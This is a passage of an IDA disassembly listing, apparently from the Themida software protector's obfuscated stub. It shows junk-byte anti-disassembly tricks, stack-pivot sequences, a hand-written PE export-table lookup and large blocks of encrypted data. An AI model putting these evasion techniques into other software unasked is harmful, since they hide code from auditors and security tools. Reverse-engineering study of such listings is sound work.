		dd 6D92D50Eh, 0B8ADEF6h, 44262098h
		db 2Ah
; ---------------------------------------------------------------------------


loc_5BF83D:				; CODE XREF: Themida_:005BF82Bj
		popa
		retn
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5BF84A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF84A	proc near		; CODE XREF: Themida_:005BF842p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5BF84A	endp

; ---------------------------------------------------------------------------
		push	dword ptr [ecx-80A3E65h]
		cmc
		pusha
		jns	loc_5BF87B
		jmp	loc_5BF87B
; ---------------------------------------------------------------------------
		db 18h,	0Ch, 0BEh
		dd 0C3958815h, 64D7BDF4h
		db 0D9h, 0F2h, 0C4h
; ---------------------------------------------------------------------------


loc_5BF87B:				; CODE XREF: Themida_:005BF862j
					; Themida_:005BF868j
		cmp	dword ptr [ebp+7FDC4B9h], 0
		jnz	loc_5BF8CC
		jmp	loc_5BF8A0
; ---------------------------------------------------------------------------
		db 11h,	0F6h, 0AAh
		dd 1B28B887h, 2CC01098h, 0E4250CB5h, 0A4A134A1h
; ---------------------------------------------------------------------------


loc_5BF8A0:				; CODE XREF: Themida_:005BF888j
		mov	dword ptr [ebp+7FDC4B9h], 1013Fh
		push	0
		push	edi
		call	sub_5BF8B5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF8B5	proc near		; CODE XREF: Themida_:005BF8ADp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5BF8B5	endp

; ---------------------------------------------------------------------------
		cmp	al, [esi]
		retn	17EDh
; ---------------------------------------------------------------------------
		dw 79DEh
; ---------------------------------------------------------------------------


loc_5BF8CC:				; CODE XREF: Themida_:005BF882j
		jmp	loc_5BF8F8
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5BF8DC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF8DC	proc near		; CODE XREF: Themida_:005BF8D4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5BF8DC	endp

; ---------------------------------------------------------------------------
		pusha
		fdiv	qword ptr [ecx-5A5BD586h]
		mov	esi, 0F8F8640Ch


loc_5BF8F8:				; CODE XREF: Themida_:loc_5BF8CCj
		VxDCall	0


loc_5BF8FE:				; CODE XREF: Themida_:005BF937j
		or	eax, eax
		jz	short loc_5BF939
		lea	esi, [eax+0Ch]
		mov	edi, [ebp+7FDBD6Dh]
		mov	ecx, 8


loc_5BF910:				; CODE XREF: Themida_:005BF914j
		cmpsb
		jnz	short loc_5BF935
		dec	ecx
		jnz	short loc_5BF910
		mov	ecx, [eax+30h]
		mov	ebx, [ebp+7FDBD69h]
		cmp	ebx, [eax+34h]
		jg	short loc_5BF939
		mov	edx, ebx
		imul	edx, 4
		add	ecx, edx
		mov	eax, [ecx]
		mov	[ebp+7FDBD65h],	eax
		jmp	short loc_5BF939
; ---------------------------------------------------------------------------


loc_5BF935:				; CODE XREF: Themida_:005BF911j
		mov	eax, [eax]
		jmp	short loc_5BF8FE
; ---------------------------------------------------------------------------


loc_5BF939:				; CODE XREF: Themida_:005BF900j
					; Themida_:005BF922j ...
		popa
		mov	eax, [ebp+7FDBD65h]
		iret
; ---------------------------------------------------------------------------
		cld
		jle	loc_5BF959
		jmp	loc_5BF959
; ---------------------------------------------------------------------------
		db 0DEh, 99h, 3
		dd 73BA1B92h, 8DC33C50h
; ---------------------------------------------------------------------------
		dec	ecx


loc_5BF959:				; CODE XREF: Themida_:loc_5BF1B2j
					; Themida_:005BF942j ...
		mov	eax, eax
		jmp	loc_5BF9E3
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		mov	ebx, [esp+1Ch]
		cmp	word ptr [ebx],	5A4Dh
		jnz	loc_5BF9DC
		movzx	eax, word ptr [ebx+3Ch]
		add	ebx, eax
		cmp	word ptr [ebx],	4550h
		jnz	loc_5BF9DC
		mov	ebx, [ebx+78h]
		add	ebx, [esp+1Ch]
		mov	esi, [ebx+24h]
		add	esi, [esp+1Ch]
		push	esi
		mov	edi, [ebx+20h]
		mov	esi, [ebx+1Ch]
		add	edi, [esp+20h]
		add	esi, [esp+20h]
		cld
		or	ecx, 0FFFFFFFFh


loc_5BF9A6:				; CODE XREF: Themida_:005BF9BCj
					; Themida_:005BF9C4j
		inc	ecx
		mov	ebx, [esp+1Ch]
		mov	edx, [edi]
		add	edx, [esp+20h]
		add	edi, 4


loc_5BF9B4:				; CODE XREF: Themida_:005BF9C0j
		mov	al, [edx]
		test	al, al
		jz	short loc_5BF9C2
		cmp	al, [ebx]
		jnz	short loc_5BF9A6
		inc	ebx
		inc	edx
		jmp	short loc_5BF9B4
; ---------------------------------------------------------------------------


loc_5BF9C2:				; CODE XREF: Themida_:005BF9B8j
		cmp	al, [ebx]
		jnz	short loc_5BF9A6
		pop	edi
		shl	ecx, 1
		movzx	eax, word ptr [edi+ecx]
		mov	eax, [esi+eax*4]
		add	eax, [esp+1Ch]


loc_5BF9D4:				; CODE XREF: Themida_:005BF9DEj
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_5BF9DC:				; CODE XREF: Themida_:005BF96Ej
					; Themida_:005BF97Fj
		xor	eax, eax
		jmp	loc_5BF9D4
; ---------------------------------------------------------------------------


loc_5BF9E3:				; CODE XREF: Themida_:005BF95Bj
		mov	ecx, edx
		call	sub_5BF9F0
		mov	cl, al
		movsb
		push	0FFFFFF85h
		pop	ss
		assume ss:nothing

; =============== S U B	R O U T	I N E =======================================



sub_5BF9F0	proc near		; CODE XREF: Themida_:005BF9E5p
		mov	ebx, edx
		pop	eax
		jmp	loc_5BFA03
; ---------------------------------------------------------------------------
		dd 0C4B8B37Bh, 4131A406h
		db 62h,	33h, 23h
; ---------------------------------------------------------------------------


loc_5BFA03:				; CODE XREF: sub_5BF9F0+3j
		add	eax, 67EBh
		jmp	loc_5BFA15
; ---------------------------------------------------------------------------
		dw 8FADh
		dd 0B2FCB720h
		db 0A1h
; ---------------------------------------------------------------------------


loc_5BFA15:				; CODE XREF: sub_5BF9F0+19j
		mov	ecx, 19C4h
		js	loc_5BFA2C
		jnz	loc_5BFA2C
		jb	$+6


loc_5BFA2C:				; CODE XREF: sub_5BF9F0+2Aj
					; sub_5BF9F0+30j ...
		mov	edx, [eax]
		or	bh, 0DEh
		add	edx, 4C676BF8h
		movsx	ebx, di
		xor	edx, 8B481A0h
		ja	loc_5BFA4E
		js	loc_5BFA4E
		push	edx
		pop	ebx


loc_5BFA4E:				; CODE XREF: sub_5BF9F0+50j
					; sub_5BF9F0+56j
		xor	edx, 3F0D1108h
		call	near ptr loc_5BFA60+5
		shr	dword ptr [ecx+4C31C9BAh], 8


loc_5BFA60:				; CODE XREF: sub_5BF9F0+64p
		adc	edx, ds:0F0DA28Bh
sub_5BF9F0	endp ; sp-analysis failed

		add	dword ptr [eax+eax], 0BF660000h
		leave
		adc	eax, 0F10895Fh
		lea	eax, [eax+eax]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		mov	si, 32C3h
		sub	eax, 4
		mov	bl, 8Ah
		sub	ecx, 1
		jnz	loc_5BFAA1
		mov	bh, al
		jmp	loc_5BFAC9
; ---------------------------------------------------------------------------
		db 9Ah,	0F0h, 0FBh
; ---------------------------------------------------------------------------
		jmp	short loc_5BFB08
; ---------------------------------------------------------------------------
		dw 0A81Fh
; ---------------------------------------------------------------------------
		mov	dl, [ebp+25h]
		xchg	eax, ebx
		mov	dh, 0CDh
		mov	bh, 83h
		inc	ecx


loc_5BFAA1:				; CODE XREF: Themida_:005BFA84j
		jnz	loc_5BFAB3
		jz	loc_5BFAB3
		sub	ebx, 44C1A588h


loc_5BFAB3:				; CODE XREF: Themida_:loc_5BFAA1j
					; Themida_:005BFAA7j
		jmp	loc_5BFA2C
; ---------------------------------------------------------------------------
		dd 0CB667826h, 36EEC0C2h, 664898E3h, 0E25D64DBh
; ---------------------------------------------------------------------------
		push	es


loc_5BFAC9:				; CODE XREF: Themida_:005BFA8Cj
		call	near ptr loc_5BFAD1+3
		insd
		rcl	esi, cl


loc_5BFAD1:				; CODE XREF: Themida_:loc_5BFAC9p
		mov	ecx, 6E9A69Fh
; ---------------------------------------------------------------------------
		dw 0
		dd 0EA8D4A00h, 5F5597A3h, 0FE9h, 8B6E6D00h, 1456956Dh
		dd 104B1BC9h, 29BA893Dh, 6391C781h, 0B8660000h,	0BB3287h
		dd 0BE000000h, 43BBA8E7h
; ---------------------------------------------------------------------------


loc_5BFB08:				; CODE XREF: Themida_:005BFA94j
		mov	edx, [edi+ebx]
		mov	ax, dx
		sub	edx, 48559858h
		call	near ptr locret_5BFB20+1
		add	[ebx-1Eh], ebp
		push	esp
		fsub	qword ptr [ebp-23h]

locret_5BFB20:				; CODE XREF: Themida_:005BFB14p
		retf	8166h
; ---------------------------------------------------------------------------
		db 0EEh
		dd 8158A341h, 94EAABC2h, 2870F39h, 0B4000000h, 50EA8105h
		dd 0B90F590Ah, 71E04142h, 661F1489h, 666FDEB9h,	0EB83F08Bh
		dd 81CA8B04h, 0FF9CF8FBh, 0AD850FFFh, 0E9FFFFFFh, 10Ah
		dd 38331D0Ah, 8A055C97h, 76A18883h, 7A0E0A1Dh, 33538FDDh
		dd 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh
		dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h
		dd 0D77DD57Fh, 171E577Dh, 2075DF6Dh, 20602060h,	60E0E020h
		dd 7B68AC20h, 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h,	0A3F291B9h
		dd 206020ACh, 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah
		dd 20602055h, 28602060h, 0F0362BA7h, 0F360C950h, 96A1EFB6h
		dd 0A7B4E0F7h, 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h
		dd 0F7202060h, 351ADF6Dh, 577DD773h, 5FEDF73Dh,	335375D5h
		dd 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh
		dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h
		dd 5D340700h, 59A0A3D2h, 1Eh, 8	dup(0)
		dd 0A8E90000h, 6800000Ch, 7FDCA81h, 0FCB6BBE9h,	0CB9D68FFh
		dd 0B1E907FDh, 68FFFCB6h, 7FDCC65h, 0FCB6A7E9h,	0CD4E68FFh
		dd 9DE907FDh, 68FFFCB6h, 7FDCDBCh, 0FCB693E9h, 0CE5E68FFh
		dd 89E907FDh, 68FFFCB6h, 7FDCFC8h, 0FCB67FE9h, 0D0BD68FFh
		dd 75E907FDh, 68FFFCB6h, 7FDD18Fh, 0FCB66BE9h, 0D27068FFh
		dd 61E907FDh, 68FFFCB6h, 7FDD327h, 0FCB657E9h, 0CBD343FFh
		dd 742AE895h, 1A84913Eh, 0C6D837E4h, 702EE390h,	6A51063Ah
		dd 14C1F7A7h, 0BB689E00h, 66134955h, 0ECBBF1ADh, 4B157894h
		dd 0D53B07E4h, 0ED92BC1Eh, 0A7D2305Bh, 108E8126h, 0C56BD6Ah
		dd 0E60F9A04h, 878DF27Dh, 0E0328717h, 7A0A33BEh, 0E6A0FB5Eh
		dd 2AD029FFh, 4B053E97h, 0B3EB277Ch, 0EBB3600Dh, 2B3554B5h
		dd 0BD197F9Bh, 0EC4507E0h, 8717FC61h, 0F36FA451h, 0CEF7821Ch
		dd 81393E54h, 92FB57A7h, 5B77B707h, 7E150F8h, 0AB1FC51Eh
		dd 7E15145h, 876B2556h,	5882128Ch, 9E6A6627h, 0E4CF2C8h
		dd 5CECB261h, 0C29D001Ch, 6AC307E0h, 47CC31C4h,	0A66DF51Bh
		dd 0DB446DF8h, 214CDE61h, 64CD1379h, 0D28CBDD9h, 437925EEh
		dd 6F183B73h, 51DD940h,	0A76A0000h, 42A7326Ch, 3697CDD1h
		dd 617D0D53h, 7E0ADC7h,	0A7F782DBh, 28C6E57Dh, 21C73473h
		dd 0E12D46ADh, 15CF5007h, 6F34D60Eh, 257440h, 0F3050000h
		dd 0FA3ACA96h, 8B316DA5h, 0E09C4917h, 71FC5507h, 0E09ADE45h
		dd 0AD67E807h, 6EA76EA6h, 1020C40h, 0A79D0000h,	42A7326Ch
		dd 1C8293CFh, 0AED828B3h, 2233BE0h, 0AAC65691h,	0FFE68A47h
		dd 0C16E146Dh, 5CC14C52h, 2D57E7B7h, 6BBEEE7Bh,	0DB19BF63h
		dd 3E24EE43h, 0D35EC7D7h, 1A9004AAh, 64FFE760h,	21B9EFAFh
		dd 18868CE1h, 95F8648Dh, 0BBFFE75Dh, 4C52BD62h,	841AF9A6h
		dd 286BCAF4h, 0A56151AEh, 36536CFFh, 0E07E9A2Ah, 0FE07E17Ah
		dd 51F6A869h, 4177E0BEh, 27B7A9E0h, 327EEFFDh, 2CD1517Dh
		dd 7B13B9E5h, 0DE2C1C5Fh, 9FBBFB0Fh, 0FFECA83Ch, 6581116Ah
		dd 0FFECA802h, 0E831D730h, 67AAFF8Fh, 29690137h, 0ECA8AA0Dh
		dd 0FDA174FFh, 10BD63BCh, 27DF9D01h, 28999E22h,	9894EEDh
		dd 0EE280000h, 45CD7AB0h, 9F762359h, 0F31CC9FFh, 49C875ABh
		dd 36EB1F55h, 0A4DAC44Dh, 4B811DF7h, 0F62C729Eh, 9ED4CA49h
		dd 0F85B77CFh, 1E07E44Ch, 6AA701B8h, 1166FE34h,	0EAB46002h
		dd 0E52EDB81h, 810C927Dh, 2B9EF58h, 3ACA96F3h, 326CA5FAh
		dd 64D87EA7h, 7E09B96h,	90E06BC4h, 3AC5D93Bh, 2658111h
		dd 3007E09Bh, 56BD31D7h, 2007E09Bh, 0BF24AFEFh,	30C24D51h
		dd 40A54D07h, 0CFBE53A8h, 5CC9D886h, 0A147B0D4h, 42976620h
		dd 5626CCD2h, 406ED91Eh, 0DADADB05h, 9F754B1Dh,	0B518F9h
		dd 88C80000h, 0E16E096Ch, 38DE3707h, 326CA781h,	0CFCF42A7h
		dd 87A21844h, 47CCFFE6h, 9F72C757h, 0D14B74FFh,	0DEC74F84h
		dd 4E8C32AAh, 0F0AE61B6h, 28769D4Ah, 5B05849Dh,	0DC368BCBh
		dd 0CBE737C2h, 0FFE6A468h, 26CC358Eh, 0E0C514B2h, 2359B207h
		dd 0B45DC7C2h, 0CD365FEAh, 63CD213Dh, 80D90FDDh, 0EC769BF0h
		dd 31FD7727h, 90AA74A4h, 0B25F95FEh, 9B813F5Fh,	0C0999E00h
		dd 86DE685h, 0D2440000h, 29E996CCh, 83923F75h, 0D738E51Bh
		dd 2DE491C7h, 52073B71h, 0C0F6A869h, 679D0113h,	124856BAh
		dd 0BAF0AE65h, 147793EBh, 4207E44Eh, 6AA725DCh,	0C251FE34h
		dd 0BCEFA6DCh, 82FD607Ch, 0EEEAFFE6h, 0FF631EDh, 6D89094Ah
		dd 0FFE7090Ah, 0D076DF38h, 6B87F023h, 0FFE70908h, 0E430D52Eh
		dd 97C151BAh, 0EE08CDC5h, 163F314Bh, 0A5545182h, 9E03963Ch
		dd 4022ED75h, 1942CDD1h, 62B747B0h
dword_5C005C	dd 947EDB1h, 13762030h,	339C0211h, 538587A3h, 0D83107E1h
					; DATA XREF: ___:off_444E8Co
		dd 7D21F348h, 0F12E92D7h, 0B306A9C3h, 0DEFA8AD6h, 1135C0Ch
		dd 1D36C11Ah, 4864F46Ch, 6ACBEBEh, 0A6FB8BE4h, 4EFB316Dh
		dd 7F1BD9C5h, 5060AD3Ch, 7A57615h, 0A0C0000h, 61B15E94h
		dd 0BB5A073Dh, 0F00ADE3h, 65AC598Fh, 1ACF0339h,	88BEE031h
		dd 2F6539DBh, 0DA108E82h, 82B8E62Dh, 0DC3F5BB3h, 0A07E44Fh
		dd 6CA7EDA4h, 0FB8EA732h, 83BF223Eh, 9481FFE6h,	15567F0Ah
		dd 0A20B9380h, 3F69A939h, 0FD784035h, 37AB51CBh, 7E0DAB9h
		dd 3596CC25h, 607C0C54h, 0FDEA0F5h, 0AD0292EBh,	84AD3866h
		dd 26C7E30Ah, 650BBCB7h, 39B78CDh, 6FF320CDh, 292FBA3h
		dd 0B643A6C2h, 1871FFEDh, 58FEA073h, 83DDACC5h,	0EB89B3F3h
		dd 0CB832E51h, 0C82B47D7h, 0EEFFEDC4h, 377BEF95h, 1F07EB8Bh
		dd 0AA138B8Ah, 504EC51Ah, 0F8A66D1Ah, 0A90C2868h, 0D707E109h
		dd 2C45D87Eh, 4973035Dh, 8C0661C3h, 2E70A4C5h, 6B117AA3h
		dd 0E755B7D3h, 0DD320FDAh, 0B4DD6836h, 0AE6CC50Eh, 999815F8h
		dd 0BCFF9ED9h, 0F5000006h, 9A477D21h, 43F02678h, 0E996CCD2h
		dd 95427826h, 0B8EC227Ch, 0A9F51C03h, 504EC673h, 0FBA36D1Ah
		dd 0A3FB18C5h, 2A469E6Dh, 7E450C7h, 0F3D087EDh,	1E3ACA96h
		dd 7E44AE2h, 0BE13A3FCh, 8FB94955h, 617F193Ch, 0D10FB50Ch
		dd 509EEF24h, 0F5A968D1h, 0C2E66E7Bh, 0D4B5CE59h, 62E0FC8Ch
		dd 800FDDF4h, 4FA16927h, 4F8A999Fh, 64EB0h, 0EBB36300h
		dd 940A08B5h, 3A64B15Eh, 0E6B85704h, 900E03B0h,	8A71265Ah
		dd 34E11787h, 0DB88BEE0h, 86336935h, 0CDB118Dh,	503598B4h
		dd 0F55B07E4h, 0CA96F33Eh, 4BB31E3Ah, 0D83107E4h, 7F1FF348h
		dd 1F3BCBF4h, 7E44ABCh,	53EB91EAh, 538915FEh, 0A6316DA6h
		dd 0FD3DFC8Dh, 0E44A7EE1h, 0DF4BA407h, 7E44A7Ch, 63CB40AAh
		dd 20D4CC0Eh, 0A2BE4EB7h, 0FE1955Eh, 4A9F2F88h,	227C99C9h
		dd 3DD683B9h, 3186D661h, 0B718BEE0h, 0A9FE8ED2h, 0F48C326Ch
		dd 0E13876D8h, 85439C07h, 9E62A2CFh, 0ACC2619Ch, 5000005h
		dd 0AA578D11h, 53003668h, 0F9A6DCC2h, 0A5528816h, 0C8FC326Ch
		dd 0B9E52C13h, 603ED683h, 0B937D2Ah, 0B3EB28D5h, 3A56AE7Dh
		dd 7E451D7h, 0A7E097FDh, 42A7326Ch, 3697CDD1h, 5E40D153h
		dd 0AF4965F5h, 0D307E0ADh, 7C95EA7Ah, 0AD7CDFFBh, 51AA07E0h
		dd 8E345DE8h, 0AD68CFFBh, 0F17207E0h, 0B4F83037h, 5896406Eh
		dd 27000000h, 3ACA96F3h, 304C2BE5h, 0FFE683CDh,	0A6319AF3h
		dd 633BD87Dh, 7109AFD8h, 6A34DC31h, 9B8250C4h, 47A007E0h
		dd 102C6CBCh, 7E09BADh,	60D47AD3h, 7E09AF9h, 0C6514DC3h
		dd 65F0AE61h, 7119D30Ch, 0CAD18B0Ch, 406EA792h,	0F530h
		dd 68B6E000h, 0D1D2AB5Fh, 0BCC98026h, 0C908B192h, 9EC7524Ch
		dd 0FFD1AB24h, 0FB67AC59h, 0D2CC481Ah, 10750069h, 0CD0D9D01h
		dd 0E6CB4EB1h, 9FFF10FFh, 51AAEB14h, 0AA3569ACh, 0E348DB81h
		dd 9EDE6E30h, 0E6CB1F82h, 46EC45FFh, 30E63B3h, 41E7109Bh
		dd 0DCF87F94h, 0FFE6CB79h, 0AFE54EA7h, 58BBD717h, 7EFFE6CBh
		dd 950B7F25h, 0DDFFE6CFh, 85326836h, 6C85108Eh,	900E071Dh
		dd 0E373DC05h, 0E0E3E1C7h, 7EB40D07h, 64F46C1Dh, 0DDC36C48h
		dd 0B1419A0Fh, 3EF25571h, 0B5D1FFEDh, 0FFED3F52h, 8DE62780h
		dd 17FA4FE7h, 6DA45187h, 0BBDF7331h, 4580999Eh,	442A6h
		dd 0F7A76F00h, 0A0FE14C1h, 4658BD6Ah, 0F2AC6310h, 9C020FBCh
		dd 967D3266h, 40ED237Bh, 0E794CAD4h, 923F7529h,	18E71D81h
		dd 5241A4C0h, 96F07E4h,	346AA752h, 1166FEh, 0C84BF89Eh
		dd 0BF28769Ah, 96F3D289h, 501E3ACAh, 4E07E09Ch,	0D73E6AF5h
		dd 0E107E09Bh, 679FA660h, 5406EA7h, 0D7h, 326CA796h, 0CFCF42A7h
		dd 87A21844h, 47CCFFE6h, 9F742157h, 0EF2F6FFFh,	0E68670D3h
		dd 0D13D96FFh, 0FFE6866Eh, 2EB9E530h, 0C56BC405h, 86A2E232h
		dd 0FFE68623h, 0F152F851h, 0F838C898h, 4D178EB8h, 0C8CB745Ah
		dd 0E6C3F95Ch, 0FBD27FFh, 5D415200h, 12862C95h,	7E16C2Ch
		dd 6ACB015Ah, 930B051Fh, 55A9A2Ah, 75E98F0Fh, 0FDE283Ah
		dd 1C829328h, 6FFF6891h, 0F996F71Ah, 0FBBE3CA8h, 0C673A912h
		dd 0AD102C4Bh, 0D3FFECF5h, 0F553117Ah, 56999E75h, 34D7C1Bh
		dd 0B2640000h, 909B6ECh, 63B25F95h, 0B758053Bh,	0D04B1E7h
		dd 72275B91h, 0E0168889h, 87BDE133h, 326836DAh,	0DA108E85h
		dd 3497B30Bh, 6207E453h, 6AA745FCh, 838EF10Dh, 5BB4FFE6h
		dd 40FBCF2h, 0A7AD649Ah, 801EF66Ch, 0FC3C8C17h,	0A7326CA7h
		dd 83AF127Eh, 0A371FFE6h, 0BB61BAFBh, 6399050Eh, 0BBCE788Ah
		dd 0F7F915A5h, 0DB07E089h, 7DBD4582h, 0E088FE61h, 88A42407h
		dd 7E08925h, 0E389F24Bh, 15FFB06Fh, 4D1376ACh, 0E8287DBDh
		dd 9A0411B6h, 0CC40E60Fh, 0ABB015DEh, 0E7B758ADh, 448D335Ch
		dd 424760EBh, 0F94E8E1Eh, 0D4CA4B17h, 11B7E06Bh, 1979139Dh
		dd 0A6368FACh, 0C2C57F7Ch, 36DC5988h, 0D4CA499Eh, 7C22F19Eh
		dd 50C896BEh, 0DD7CB73Ah, 27Bh,	88BEE036h, 316737DBh, 0D70D9184h
		dd 83B9E52Ah, 2D633BD6h, 0B65B44F9h, 0F05B2E8h,	64AC598Fh
		dd 0BC57043Ah, 85DDACE2h, 0E4540669h, 0FC62C07h, 1BF66CA7h
		dd 768F1A83h, 7DBD4D13h, 2BB6E828h, 66E85C02h, 4C07E0AEh
		dd 0C8E4BDF3h, 288BA7E7h, 4E07E0ADh, 9BEE4FF5h,	171935C5h
		dd 0BB0FDAB4h, 489D2562h, 2F92AEC9h, 55FFE6AFh,	0CE0893FCh
		dd 4A3098EDh, 90359E6Dh, 5791F7Fh, 0BC75D59Ah, 77075930h
		dd 25B0EE22h, 7EBE56FCh, 27B2EC29h, 12E458FEh, 40C46F31h
		dd 4E2D57E7h, 0F0AE66F0h, 0E66B9276h, 0F594AD40h, 0EEB1DB6Bh
		dd 301E31D4h, 1834CC72h, 0C358CD8Eh, 0EB2BBB14h, 0AEB06BC1h
		dd 2DD3CF7Fh, 43CF9380h, 2A7D05Bh, 0D9028D11h, 868D3A70h
		dd 42C05A18h, 0E492511h, 19A6Fh, 9FFF1700h, 4856BC69h
		dd 0EEB06512h, 9A040BB8h, 445AB764h, 3E25DA0Eh,	0E895CBD3h
		dd 8F3C722Ch, 3AE71D81h, 0C08FC5D9h, 54E94C68h,	0B11707E4h
		dd 216CA7FAh, 463283EFh, 0A6319A41h, 0D464FC8Dh, 3A157894h
		dd 0E23BFFE7h, 3E88A43Ch, 1507E16Bh, 0A54B53C0h, 35CD035Ch
		dd 0DE6935E0h, 1B360FB5h, 0B8481871h, 0ADF12378h, 0F919307h
		dd 0DC350FDBh, 8519F74Ch, 33369ADFh, 89B8D9F0h,	90D06000h
		dd 0D8EF1174h, 6935DBB8h, 1B74B5DEh, 0EFC1DD75h, 0F3C0D30Fh
		dd 93F60F9Ah, 97213DCDh, 0BC6EC73h, 46CD22B2h, 9E752258h
		dd 0E8514DC4h, 6DE83E2Ah, 35D40F21h, 0E3h, 205648CEh, 0C9FF9F73h
		dd 6FA5F91Ch, 1B514DC2h, 0C5FBA36Eh, 1EF3DC91h,	779D4A80h
		dd 0CC44F127h, 24EF9CD2h, 1D75447Ah, 0E4569E01h, 0A75EC407h
		dd 0A7326CA7h, 0D565FB8Eh, 61741EABh, 52C8EB85h, 652CA602h
		dd 0FE14B9D6h, 2262FAA0h, 0CF63C6E2h, 8A58FFE6h, 0B82ECDDBh
		dd 42E84182h, 0E0DFC8CEh, 679DF607h, 4DDD8306h,	0A1AD5E23h
		dd 59FFDEABh, 9F5DA5C1h, 30890FDEh, 130055A5h, 0DB38E58Bh
		dd 33E08DC3h, 52B4E06Bh, 283FBCDDh, 0C25135EFh,	1AF9A6DCh
		dd 68D1CD48h, 0EA8D83D8h, 0AFDD6BCEh, 0D740993Fh, 0EA7D234Ch
		dd 89148A85h, 4514CEF7h, 0EF7A24F0h, 0A07320C6h, 0F81BC8FEh
		dd 0C7EC16A6h, 24FC0A3Eh, 130ABF3Fh, 4C06F899h,	107413A6h
		dd 0D000000h, 0E63B7BBBh, 0A6097529h, 0CCFFE683h, 0A716CD73h
		dd 3FA42F6Fh, 0DA3FCAD4h, 78DD6836h, 1277029Ch
		dd 0AF149FFFh, 4CB13C62h, 0EB50DBC3h, 84E9742Ah, 5285108Eh
		dd 264368h, 242C8900h, 0C581E589h, 4, 8704ED83h
; ---------------------------------------------------------------------------
		sub	al, 24h
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	ebx, 7FDC89Ch
		push	ebx
		sub	dword ptr [esp], 244F6722h
		pop	eax
		add	eax, 244F6722h
		pop	ebx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	7872h
		mov	[esp], edx
		mov	edx, eax
		mov	[ecx+8], edx
		pop	edx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		dw 759Ch
		dd 0E4490693h, 0B8F7E0D5h, 7FDD42Fh, 0E0FFC503h, 7FF69749h
		dd 29EAEF9Bh, 77BE1339h, 0F72FDB9h, 38DCAC68h, 7A4E8CFDh
		dd 403CCDCh, 40B713Ch, 5D55422Fh, 317D1A7Ch, 395B361Bh
		dd 2CA456FCh, 148E9h, 4800h, 4C00h, 5000h, 5400h, 5800h
		dd 5C00h, 6000h, 6400h,	0A800h,	0AC00h,	0B000h,	0B400h
		dd 0B800h, 0BC00h, 0C000h, 0C400h, 0C800h, 0CC00h, 0D000h
		dd 0D400h, 0D800h, 0DC00h, 0E000h, 0E400h, 38h dup(0)
		dd 5C09B500h, 0B2C20300h, 14858D00h, 0B707FDD5h, 548589F3h
		dd 8B07FDD6h, 0FA25C9BDh, 6585C607h, 5407FA06h,	0C1952B60h
		dd 8907FA02h, 0FA01A5B5h, 4E86107h, 29000000h, 0B2EE6268h
		dd 665250C9h, 8B5FCA8Bh, 0E9042444h, 7,	0BE148DA4h, 8B36FBEDh
		dd 89FE8B00h, 0E8042444h, 0Ah, 8C3DA57Dh, 0C5603CFFh, 830FACBEh
		dd 0Fh,	9E8h, 7224A00h,	0CD504AB2h, 5F5F43A1h, 0B5FFFC58h
		dd 7FA2095h, 7E8h, 32CEE900h, 0FA121DDh, 27B9958Bh, 8D5907FAh
		dd 0FDA3DD85h, 0C88B6607h, 24BAD0FFh, 894EB9D4h, 0FDD65885h
		dd 1BD2907h, 0E907FA1Eh, 3Bh, 8B56F1B5h, 0FDD654B5h, 83068907h
		dd 0FDD65485h, 0C35E0407h, 14B58D60h, 0EB07FDD5h, 6A560Fh
		dd 95FF36FFh, 7FDD658h,	4C6835Eh, 75003E83h, 0BFC361ECh
		dd 612D3DD1h, 8DF98B66h, 0FDD72385h, 298D8B07h,	8907FA26h
		dd 0FA312585h, 75E907h,	66600000h, 4A8D88Ch, 35840Fh, 16A0000h
		dd 8A5B5FFh, 858D07FAh,	7FDA3DDh, 8589D0FFh, 7FA1ED1h
		dd 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah, 1000Dh, 1ED195FFh
		dd 32E907FAh, 0C6000000h, 0FA066585h, 0DF685607h, 0FFA9C530h
		dd 0FA2095B5h, 0DD858D07h, 0FF07FDA3h, 5D8589D0h, 8D07FA26h
		dd 0FA2A5585h, 206A5007h, 0FF56056Ah, 0FA265D95h, 0C1C36107h
		dd 4FEB06E0h, 0FA251C8Fh, 0C6A108ABh, 1CA4ACDAh, 5C5CD2D4h
		dd 34CE00E4h, 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah
		dd 6734DF1Bh, 5600A6DBh, 9F0043A5h, 0DC80BAh, 54000000h
		dd 0FEB41Bh, 0FBFE3400h, 87000000h, 2352DDB4h, 19ED920h
